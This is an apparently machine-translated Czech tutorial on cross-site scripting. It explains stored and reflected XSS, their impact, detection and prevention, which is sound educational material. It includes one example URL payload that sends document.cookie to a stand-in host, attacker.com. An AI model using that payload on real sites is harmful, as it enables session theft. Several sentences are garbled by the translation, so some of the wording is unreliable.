Úvod do skriptování mezi weby
- S rostoucím počtem webových aplikací na internetu se nyní webová bezpečnost stala důležitým problémem. Hackování a odcizení soukromých dat uživatelů je nyní běžné a hrozí jim, že budou používat jakoukoli aplikaci. Cross Site Scripting je jedním z populárních útoků na webovou bezpečnost uživatelů. Podívejme se na to, co je skriptování mezi weby.
- Cross Site Scripting nazvaný XSS, je chyba zabezpečení počítače, ve které se útočník snaží přidat do důvěryhodného webu / webové stránky nějaký škodlivý kód ve formě skriptů. Jedná se o útok na kód na straně klienta a škodlivý skript se spustí ve webovém prohlížeči uživatele, když přistupuje na tento web / webovou stránku. Tyto webové stránky se nepřímo stávají médiem pro zasílání škodlivého kódu uživateli. Vstřikováním skriptů útočníci obejdou DOM (Document Object Model) bezpečnostních omezení a získají přístup k uživatelskému citlivému obsahu stránky, relačním cookies, historii prohlížení většiny soukromých dat, která prohlížeč udržuje.
- Webové stránky obsahující fóra, vývěsky, webové stránky, které umožňují komentáře, a ty, které používají neanitizovaný uživatelský vstup a takto generovaný výstup, jsou nejzranitelnější vůči útokům XSS. Ačkoli útoky XSS jsou možné ve VBScript, ActiveX a CSS, jsou v Javascriptu nejběžnější, protože jsou základem většiny prohlížení.
Různé typy skriptování mezi weby (XSS)
Ačkoli neexistuje žádná zvláštní klasifikace skriptování mezi weby, někteří odborníci ji klasifikovali do dvou typů, které jsou podrobněji popsány níže:
Uložené útoky XSS :
- Uložené XSS jsou ty, ve kterých se škodlivý skript, který útočník vstoupil, uloží do databáze a spustí se v prohlížeči uživatele, když se v nějaké formě pokusí o přístup k databázi. Tito jsou také známí jako trvalé nebo uložené XSS. Jedná se o jeden z nejničivějších útoků, k němuž dochází zejména v případě, že webová stránka / webová stránka umožňuje přidávat komentáře nebo umožňuje vkládání obsahu HTML.
- Útočník přidá javascript do komentáře, který se uloží do databáze a když uživatel přistupuje na postiženou stránku a načítá data z databáze, která ve svém prohlížeči spustí škodlivý skript, a útočník získá neoprávněný přístup k soukromým údajům uživatele.
- Například na webové stránce elektronického obchodu, jako je Olx, která má neoznačené okno se zprávou pro popis produktu, útočník, který je prodejcem produktu, do něj přidá škodlivý javascript a bude uložen do databáze webu.
- Když kupující otevře popis produktu a zobrazí se podrobnosti o produktu, stane se nyní obětí, protože skript se spustí v jeho webovém prohlížeči a všechny podrobnosti o uživateli, které prohlížeč umožňuje, budou uneseny.
Postup útoky XSS:
- Toto je jeden z nejčastějších způsobů, jak může útočník způsobit uživateli XSS útok. Při útokech XSS v zásadě útočník zacílí na oběť zasláním e-mailu, škodlivého odkazu nebo připojením řetězce k výsledku vyhledávání, který odkazuje na důvěryhodný web, ale obsahuje škodlivý kód javascript.
- Pokud oběť klepne na tuto adresu URL, iniciuje požadavek HTTP a pošle požadavek zranitelné webové aplikaci. Žádost se poté oběti vrátí s odpovědí vloženého javascriptového kódu, který webový prohlížeč provede, přičemž jej vezme v úvahu pocházející z důvěryhodné webové stránky, což má za následek únos důvěrných dat jeho prohlížeče.
- Například na webu elektronického obchodu je vyhledávací pole, ve kterém může uživatel prohledávat položky a řetězec zapsaný do vyhledávacího pole je viditelný v adrese URL webu, když je požadavek na vyhledávání odeslán na server.
- Útočník vytvoří odkaz, ve kterém je škodlivý skript zřetězený v adrese URL a pošle jej oběti e-mailem. Když oběť otevře tento odkaz, žádost se odešle na škodlivou webovou stránku útočníka a všechna data prohlížeče oběti jsou unesena a odeslána do systému útočníka.
Jak funguje skriptování mezi weby (XSS)?
- V zranitelnosti Cross Site Scripting (XSS) je hlavním motivem útočníka ukrást data uživatele spuštěním škodlivého skriptu v jeho prohlížeči, který je vložen do obsahu webové stránky, který uživatel používá různými způsoby.
- Například když uživatel hledá nějaký text na webu, pak je požadavek odeslán na server ve tvaru:
https://www.abcwebsite.com/search?q=text1
Ve výsledku vyhledávání web vrátí výsledek spolu s tím, co uživatel hledal jako:
Hledali jste: text1 |
Pokud je funkce vyhledávání zranitelná vůči XSS, může útočník přidat škodlivý skript do adresy URL:
https://www.abcwebsite.com/search= location document = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie) |
- Když oběť klikne na tento odkaz, přesměruje se na škodlivý web, tj. Https://attacker.com a všechna data prohlížeče se přímo odešlou do počítače útočníka, což má za následek to, že útočník ukradl všechny tokeny relace / soubory cookie.
- Tímto způsobem útočník vloží svůj škodlivý skript do adresy URL. Attacker může tento skript také uložit na server, který spadá pod Stored XSS.
Dopad chyb zabezpečení typu skriptování napříč weby:
Dopad skriptování mezi weby se velmi liší. Poté, co útočník zneužije zranitelnost XSS, získá plnou kontrolu nad prohlížečem oběti a může provádět různé akce, které se liší od malých, jako je prohlížení historie prohlížeče, až po katastrofální, jako je vkládání červů do počítače.
Některé z akcí, které může útočník provést zneužitím chyby zabezpečení XSS, jsou následující: -
- Únik citlivých informací, jako je uživatelské jméno a heslo.
- Vkládání červů do počítače.
- Přesměrování uživatele na nebezpečný web a nutení provést některé akce
- Získejte přístup k historii prohlížení oběti.
- Instalace programu trojského koně.
- Vynutit uživateli provádět a upravovat hodnoty v aplikaci získáním přístupu přes
Nalezení chyb zabezpečení typu Skriptování napříč weby:
- K zranitelnostem XSS dochází ze dvou důvodů: vstup uživatele není před odesláním na server ověřen nebo výstup přijatý do prohlížeče není kódován HTML. Vzhledem k katastrofickému dopadu zranitelnosti XSS a ochraně soukromí uživatelů je velmi důležité zjistit, zda je webová aplikace vůči XSS zranitelná.
- Přestože je XSS obtížné identifikovat a odstranit, nejlepším způsobem, jak zkontrolovat, je provést bezpečnostní kontrolu kódu a zkontrolovat všechna místa, kde může vstup z požadavku HTTP umožnit jeho zobrazení v aplikaci jako výstup. Pomocí nástrojů pro automatické skenování zranitelností, které zahrnují specializovaný modul skeneru XSS pro skenování celé webové aplikace, může také pomoci při skenování a nalezení zranitelností v aplikaci.
Jak zabránit XSS?
- XSS je zranitelnost při vkládání kódu, takže je velmi důležité kódovat data, která se odesílají na server, a data, která přicházejí ze serveru do prohlížeče uživatele.
- Ověření dat je také velmi důležité, aby prohlížeč interpretoval kód bez škodlivých příkazů. Byly zavedeny různé metody prevence, které udržují data Validation and Encoding jako prioritu pro web, aby byl zranitelný vůči XSS.
Některé body je třeba zaměřit, aby se zabránilo XSS: -
- Podpora sledování HTTP na všech webových serverech by měla být vypnuta, protože útočník může ukrást data souborů cookie a soukromého prohlížeče prostřednictvím volání trasování HTTP ze serveru, i když je v prohlížeči oběti zakázán document.cookie.
- Vývojáři by měli vstup dezinfikovat a nikdy by neměli vydávat data přímo přijatá od uživatele, aniž by je ověřovali.
- Odkazy by obecně neměly být zakázány, pokud nezačínají s povolenými protokoly, jako je HTTP: //, https: //, čímž brání použití schémat URI, jako je javascript: //
Závěr:
Útoky XSS jsou nebezpečné a mohou poškodit soukromí uživatele a ukrást data, pokud běžný uživatel aplikaci neprochází pečlivě. Vývojáři by tedy při vývoji aplikace měli dodržovat přísná bezpečnostní pravidla zejména pro data i server, aby aplikace byla nejméně ohrožena XSS a aby se na ni mohl spolehnout více uživatelů.
Doporučené články
Toto byl průvodce Co je skriptování mezi weby ?. Zde diskutujeme o různých typech křížových webů, o práci, dopadu a prevenci XSS. Další informace naleznete také v dalších navrhovaných článcích -
- Jak funguje JavaScript
- Co je to útok Phishing?
- Co je to Kybernetický útok?
- Ukládání do mezipaměti HTTP
- Jak fungují soubory cookie v JavaScriptu s příkladem?